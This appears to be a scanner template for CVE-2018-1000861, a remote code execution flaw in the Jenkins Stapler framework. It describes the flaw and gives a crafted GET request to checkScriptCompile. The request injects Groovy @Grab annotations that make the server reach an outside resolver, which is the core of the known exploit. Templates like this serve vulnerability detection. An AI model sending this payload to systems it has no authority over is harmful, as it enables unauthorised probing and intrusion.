A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
PoC代码[已公开]
id: CVE-2018-1000861
info:
name: Jenkins 2.138 Remote Command Execution
author: dhiyaneshDK,pikpikcu
severity: critical
description: "A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way."
reference:
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
set:
rand: randomLowercase(4)
rules:
r0:
request:
method: GET
path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
expression: response.status == 200 && response.body.bcontains(bytes("package#" + rand))
expression: r0()